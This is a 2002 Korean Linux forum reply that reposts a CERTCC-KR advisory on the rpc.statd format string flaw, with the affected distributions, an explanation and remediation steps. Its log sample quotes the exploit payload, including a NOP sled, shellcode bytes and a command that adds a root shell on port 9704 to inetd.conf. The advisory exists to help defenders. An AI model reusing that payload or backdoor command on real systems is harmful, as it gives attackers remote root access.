>> Read Reply from No. 44902 article  
RE: 이것좀 봐주세요..rpc.statd 해킹인것같은데

등록 2002-06-21 10:24:00     조회 1
이름 baeki    

		CERTCC-KR 권고문: KA-2000-30
                  리눅스 rpc.statd 의  input format string 취약점
================
 최초작성일 : 2000/09/01
갱신일 : 2000/09/15
출처 : Bugtraq mailing list,  Sun Jul 16 2000 20:45:10
                              by Daniel Jacobowitz <drow at false.org>
       CERT(R) Advisory CA-2000-17
 -- 제목 --------------
 리눅스 rpc.statd 의  input format string 취약점
 -- 해당 시스템 -------
 rpc.statd가 설치되어 있는
 Connectiva Linux 5.1 이전 버전,
Debian Linux 2.2, 2.3 (i386, sparc, powerpc, alpha)
RedHat Linux 6.x (i386, sparc, alpha)
S.u.S.E. Linux 7.0 이전 버전
 ( IRIX, Solaris, HPUX, FreeBSD는 이 권고문에서 언급하는 취약점은 없음)
 -- 설명---------------
 /usr/sbin/rpc.statd은 주로 reboot와 관련된 Network Status 모니터링을 위해서
RPC 프로토콜로 구현된 RPC utility로서 NFS lock recovery를 수행할때 NFS file
locking 서비스에 의해 사용되는 프로그램이다.
이는 NFS (Network File System) 아키텍쳐를 구성하는 하나의 요소이며,
NFS는 거의 대부분의 유닉스(리눅스)시스템에 구현되어 있다.
 그런데 rpc.statd 은 수행되면서 클라이언트쪽에서 온 format string을
서버내의 syslog()함수에 전달하게 되는데, 
이 과정에서 적절한 input validation이 없다는 점이 문제된다.
 따라서 악의적인 remote client사용자는 
rpc.statd의 어느 함수의 return address를 변조함으로써
임의의 실행코드를   rpc.statd가 실행되는 권한에 해당되는 권한으로
rpc.statd 서버쪽에서 실행시킬 수 있다. 
 또한 rpc.statd가 실행되기 위해서는 network socket의 open을 해야되는데
이러기 위해서는 보통 root로 실행되고 있다.
# ps -auxww | grep rpc.statd
root       403  0.0  2.1  1384  672 ?        S    Jun27   0:00 rpc.statd
따라서, 외부에서 remote attack을 통해서 직접 root권한을 획득할 수 있게 된다.
 이 공격방법에서는 공격에 필요한 어떤 특정한 함수를 사용하기 위해서
악성 데이터들이 buffer영역을 넘치게끔 하지는 않고 다른 간접적인 방법을 사용하여
return address를 덮어씌우기 때문에 본래 엄밀한 의미의 버퍼오버플로우 공격은
아니지만  그 효과에서는 매우 비슷하다. 
 현재 이 취약점을 악용하여 리눅스 시스템을 공격할 수 있는 exploit 코드가
인터넷 상에 다수 공개되어 있으며,
 이러한 exploit 툴에 의해 공격을 받았을 경우
/var/log/messages파일에는 다음과 같은 흔적이 남기도 한다.
 Aug 31 10:43:21 linux18.certcc.or.kr rpc.statd[410]: SM_MON request for
hostname containing '/': ^D^D^E^E^F ^F^G^G08049f10 bffff754 000028f8 4d5f4d53
72204e4f 65757165 66207473 6820726f 6e74736f 20656d61 746e6f63
696e6961 2720676e 203a272f
00000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000
000bffff70400000000000000000000000000000000000000000000000bffff7050000bffff70
60000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000bffff707<90><90><90><90><90><90><90><90><90><9
0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90>K^<89>v<83><8D>^(<83> <89>^<83> <8D>^.<83> <83> <83>#<89>^1<83><88>F'
<88>F*<83> <88>F<89>F+,<89><8D>N<8D>V<80>1<89>@<80>
/bin/sh -c echo 9704 stream tcp nowait root /bin/sh sh -i >> /etc/inetd.conf;
killall -HUP inetd
 이 공격의 영향으로 9704번 포트로 root shell이 열리게 된다.
 이 버그는 위에서 언급한 리눅스 시스템들에게 대단히 치명적이며
즉시 아래의 조치를 취해야 함을 권고한다.
 -- 해결책 ------------
 1. NFS를  사용하지 않는 방법
 가장 간단한 방법으로 파일 시스템이 특별히 부족하지 않는 한
NFS를 사용하지 않는 방법이 있다.
 # chkconfig --level 0123456 nfs off   또는
 /etc/rc.d/rc3.d/S60nfs
/etc/rc.d/rc4.d/S60nfs
/etc/rc.d/rc5.d/S60nfs  의  대문자 S를 소문자 s로 바꾸면 된다. (리부팅 필요)
 2. rpc.statd를 사용 금지
 NFS를 계속 사용하더라도 rpc.statd를 사용하지 않는 방법도 있다.
하지만 이 경우엔 NFS가 정상적으로 동작하지 않을 수 있다.
 /usr/sbin/rpc.statd 를  제거하거나(or 파일이름을 변경해 놓거나)
 /etc/rc.d/init.d/nfs 파일에서
daemon rpc.statd  라인앞에 #을 붙여 comment out 시키면 된다. (리부팅 필요)
 3. 라우터나 firewall에서의 패킷 필터링
 취약점을 직접 제거하는 대책은 아니지만
라우터나 firewall에서 111/tcp 포트와  rpc.statd 포트(가변포트)로 들어오는
패킷을 차단하면 적어도 외부네트웍으로부터의 공격은 라우터나 firewall에서
막을 수 있다.
 4. rpc.statd 패치설치
 rpc.statd를 사용하기 위해서는
각 vendor별로 다음의 URL에서 패치를 받아 설치하면 된다.
 Connectiva Linux 5.1 이전 버전,
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/  Debian 리눅스
http://www.debian.org/security/2000/20000719a  RedHat 리눅스  (국내 리눅스업체의 배포판은 대부분 RedH
at 호환임) http://www.redhat.com/support/errata/RHSA-2000-043-03.html   == 기타 ==============
첨부원문
A15951 at drow.them.org" TARGET="_blank">http://www.securityfocus.com/templates/archive.pike?list=1&msg=20000716194510.A159
51 at drow.them.org
이름
암호


>> 관련글
44902 이것좀 봐주세요..rpc.statd 해킹인것같은데  이은  2002.03.17  ....
  답장 RE: 이것좀 봐주세요..rpc.statd 해킹인것같은데  baeki  2002.06.21  ....
Register [ localhost 목록보기 윗글 아랫글
글쓰기
답장쓰기 수정 삭제
정규표현식 [ 상세 검색 ]
페이지로딩: [ 2.02 초 ] 작업시간: [ 0.22 초 ]

Copyleft 1999-2026 by JSBoard Open Project
Theme Designed by IDOO All right reserved
[TOP]

적수네 동네
+
| 적수네 동네
| 공부방
| 리눅스 잡지 서고
| LSN 소스
| 링크 모음
+---+
게시판
+
| 떠들어보세!
| 질문과 답변
| 새소식과 정보
| 1원짜리 팁?
| 대화방
+---+
칼럼?
+
| 세하 훔쳐보기
| Welcome2nite
| 혜진의 염장판
+---+
리눅스 상표권
+
| 반대 서명란
| 토론 게시판
+---+
GNU
+
| GNU 선언문
| GNU GPL
| GNU 미러 목록
+---+
프로젝트?
+
| 리눅스카운터
| RC5DES
| 실질헌법 제작
+---+
커널 소식
+
| 안정 버젼: 2.4.14
+---+
테마 선택
+
LSN 방송국?
+
| OFF AIR
+---+
회원
+
| 로그인
+---+
[ 적수네 동네 ] [ 리눅스 상표권 독점 반대 ] [ 한글 리눅스 문서 프로젝트 ] [ KrLine ] [ 사랑넷 ] [ Valid HTML 4.0! ] [ SlashDot ] [ Freshmeat ]
Copyleft (C) 1998-2001 Byeong-Chan Kim . License
TIME: 1791672089
System by WYZsoft, HDD by I.O.Linux, Mizi Research, Embryo, WOWLINUX, Domain by SarangNet, Network by KrLine.